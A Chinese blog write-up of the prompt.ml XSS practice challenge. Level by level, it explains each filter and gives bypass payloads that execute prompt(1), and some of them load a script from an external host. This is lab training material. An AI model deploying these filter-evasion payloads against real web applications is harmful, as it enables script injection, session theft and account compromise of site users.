XSS靶场练习(一)

一直对XSS了解的不够深,找了一个平台来练习下,目的是执行prompt(1)

第0关

没有任何过滤,直接闭合标签即可
Payload:

1
"><script>prompt(1)</script>

第1关

源码

1
2
3
4
5
6
7
8
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');

return '<article>' + input + '</article>';
}

可以看到加了一个正则,来过滤了形如<xxx>的内容,可以使用注释符号//来绕过,借助onload事件来执行代码

1
<body onload=prompt(1)//

第2关

源码

1
2
3
4
5
6
7
function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');

// ok seriously, disallows equal signs and open parenthesis
return input;
}

根据正则,可以判断过滤了(=两个字符,可以使用编码绕过,但是我直接使用

1
<script>&#112;&#114;&#111;&#109;&#112;&#116;&#40;&#49;&#41;</script>

不能成功,在前面加了一个svg标签就可以了。

1
<svg><script>&#112;&#114;&#111;&#109;&#112;&#116;&#40;&#49;&#41;</script>

找到了一个解释

http://pupiles.com/xss.html

后面仔细研究下HTML的解析流程。

第3关

源码

1
2
3
4
5
6
7
function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');

// comment the input to avoid script execution
return '<!-- ' + input + ' -->';
}

使用正则将->替换为_
在这里用到了HTML5中的一个trick,可以使用--!>来闭合注释
Payload:

1
--!><script>prompt(1)</script>

第4关

源码

1
2
3
4
5
6
7
8
9
10
11
function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}

这个折腾了好久没做出来,看了下Writeup,利用URL的组成来绕过正则的检测,不过已经在最新版Chrome和Firefox上失效了。

1
http://prompt.ml%2f@test.mengsec.com/1.js

第5关

源码

1
2
3
4
5
6
function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');
return '<input value="' + input + '" type="text">';
}

正则匹配>onxxx=或者focus之类的字符,修饰符i匹配大小写,修饰符g全局匹配。
HTML中,换行符等空白字符不会影响HTML解析。
又因为浏览器默认解析第一个type,因此可以使用构造payload

1
2
"type="image"  src=233  onerror 
="prompt(1)

第6关

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);

var form = document.createElement('form');
form.action = formURL;
form.method = 'post';

for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}
return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}

整个代码就是根据输入来构造一个表单,源码中给了一个例子http://httpbin.org/post#{"name":"Matt"},输入之后,生成的代码为:

1
2
3
4
5
6
7
8
<form action="http://httpbin.org/post" method="post"><input name="name" value="Matt"></form>                         
<script>
// forbid javascript: or vbscript: and data: stuff
if (!/script:|data:/i.test(document.forms[0].action))
document.forms[0].submit();
else
document.write("Action forbidden.")
</script>

可以认为,在这个表单中,actionnamevalue可控。
在这里用到了一个小trick,先上代码

1
2
3
4
<form action="javascript:prompt(1)" method="post"><input name="123" value="233"></form>         
<script>
alert(document.forms[0].action);
</script>

1
2
3
4
5
<form action="javascript:prompt(1)" method="post"><input name="action" value="233"></form>                         
<script>
// forbid javascript: or vbscript: and data: stuff
alert(document.forms[0].action);
</script>


从上面两段代码中,我们可以知道,action会优先指向nameaction的子tag
因此可以构造Payload

1
javascript:prompt(1)#{"action":"233"}

第7关

源码

1
2
3
4
5
6
7
8
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contsain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}

代码中使用title.slice(0, 12)限定了title长度为12。但是在前面又使用了#作为分割符,可以通过JavaScript的多行注释符来绕过。

Payload

1
"><script>/*#*/prompt(/*#*/1)/*#*/</script>

第8关

源码

1
2
3
4
5
6
7
8
9
10
function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n</"]/g, '');

return ' \n\
<script> \n\
// console.log("' + input + '"); \n\
</script> ';
}

想要执行代码,需要换行来跳出注释符的范围,从正则中可以看到,代码过滤了\r\n两种换行符,还过滤了< /"

在这里使用了unicode编码的注释符来绕过。

Javascript中的特殊字符。

Unicode 字符值 转义序列 含义 类别
\u0008 \b Backspace
\u0009 \t Tab 空白
\u000A \n 换行符(换行) 行结束符
\u000B \v 垂直制表符 空白
\u000C \f 换页 空白
\u000D \r 回车 行结束符
\u0022 " 双引号 (“)
\u0027 ' 单引号 (‘)
\u005C \ 反斜杠 ()
\u00A0 不间断空格 空白
\u2028 行分隔符 行结束符
\u2029 段落分隔符 行结束符
\uFEFF 字节顺序标记 空白

构造payload

网上wp上说是可以使用\u2028或者\u2029来绕过上述限制,不过没复现成功。

第9关

源码

1
2
3
4
5
6
7
8
9
function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();

// sample input: you shall not pass! => YOU SHALL NOT PASS!
return '<h1>' + input + '</h1>';
}

可以看到,代码将输入的字符进行了一个toUpperCase()操作,在这里用到了一个小trick


这涉及到了JavaScript的一个特性

1
2
3
4
5
6
7
toUpperCase():
ı ==>I
ſ ==>S

toLowerCase():
İ ==>i
K ==>k

因此可以构造payload

1
<ſcript src=//test.mengsec.com/1.js></ſcript>

第10关

源码

1
2
3
4
5
6
7
8
9
function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');

// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return '<script>' + input + '</script> ';
}

这个题倒是蛮简单的,将输入的prompt替换成了alert,然后将单引号替换为空了。
直接构造payload

1
pro'mpt(1)

第11关

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function escape(input) {
// name should not contain special characters
var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');

// data to be parsed as JSON
var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';

// directly "parse" data in script context
return ' \n\
<script> \n\
var data = ' + dataString + '; \n\
if (data.action === "login") \n\
document.write(data.message) \n\
</script> ';
}

在这里使用了in运算符

1
"(prompt(1))in"

通过前后的双引号来闭合字符串,借助in运算符来执行js代码。
虽然有报错,但是代码还是成功执行了

1
Uncaught TypeError: "Welcome back, " is not a function

第12关

源码

1
2
3
4
5
6
7
8
9
function escape(input) {
// in Soviet Russia...
input = encodeURIComponent(input).replace(/'/g, '');
// table flips you!
input = input.replace(/prompt/g, 'alert');

// ノ┬─┬ノ ︵ ( \o°o)\
return '<script>' + input + '</script> ';
}

代码很明确,先过滤了单引号,又将prompt替换成了alert,在这里用到了一个小trick,借助parseInt方法,将字符串prompt作为36进制转换为数字,然后通过eval来执行toString来绕过代码中对prompt的过滤。

可得payload

1
2
parseInt("prompt",36) ==> 1558153217
eval((1558153217).toString(36))(1)

第13关

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
// a simple picture plugin
try {
// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
var data = JSON.parse(input);
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');
// insert the content using mustache-ish template
return '<img src="{{source}}">'.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}

简单分析一下代码,输入的需要是一个json字符串,在该json中,需要有一个键为source的键值对,而且它的值中只能有大小写字母数字和特殊符号./:,否则会被删除。然后将source的值替换img标签中的{{source}},然后过滤掉双引号。

在这里用到了JavaScript__proto__,它是对象的一个属性,用来标识对象本身所继承的原型。
当某个对象的属性无法找到时,JavaScript会从它的__proto__属性指向的原型中寻找该属性。
当我们输入

1
{"source":"不符合正则的字符串","__proto__":{"source":"exp"}}

这样就成功绕过了正则的检测,但是后面还对双引号进行了过滤,这里用到了另一个trick
看手册

测试一下

因此,我们可以利用$\\来传入一个",从而闭合标签。
构造Payload

1
{"source":"!!","__proto__":{"source":"$`onerror=prompt(1)>"}}

成功执行代码。

第14关

源码

1
2
3
4
5
6
7
8
9
10
11
12
function escape(input) {
// I expect this one will have other solutions, so be creative :)
// mspaint makes all file names in all-caps :(
// too lazy to convert them back in lower case
// sample input: prompt.jpg => PROMPT.JPG
input = input.toUpperCase();
// only allows images loaded from own host or data URI scheme
input = input.replace(/\/\/|\w+:/g, 'data:');
// miscellaneous filtering
input = input.replace(/[\\&+%\s]|vbs/gi, '_');
return '<img src="' + input + '">';
}

首先将输入使用方法toUpperCase()进行了处理,然后通过正则限定了协议为data:,在后面又过滤了多个特殊符号,将其替换为了_

1
\ & + % 空白符 换行符等

直接就想到了base64编码,但是toUpperCase()将所有的字母变成了大写,不太好办。
看wp是直接构造了一个base64编码后全部为大写的payload,没整出来。

第15关

源码

1
2
3
4
5
6
7
8
9
10
11
function escape(input) {
// sort of spoiler of level 7
input = input.replace(/\*/g, '');
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');

return segments.map(function(title, index) {
// title can only contain 15 characters
return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
}).join('\n');
}

说是level 7的升级版,结合svg标签和注释符<!-- -->
构造Payload

1
"><svg><!--#--><script><!--#-->prompt(<!--#-->1)</script>


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!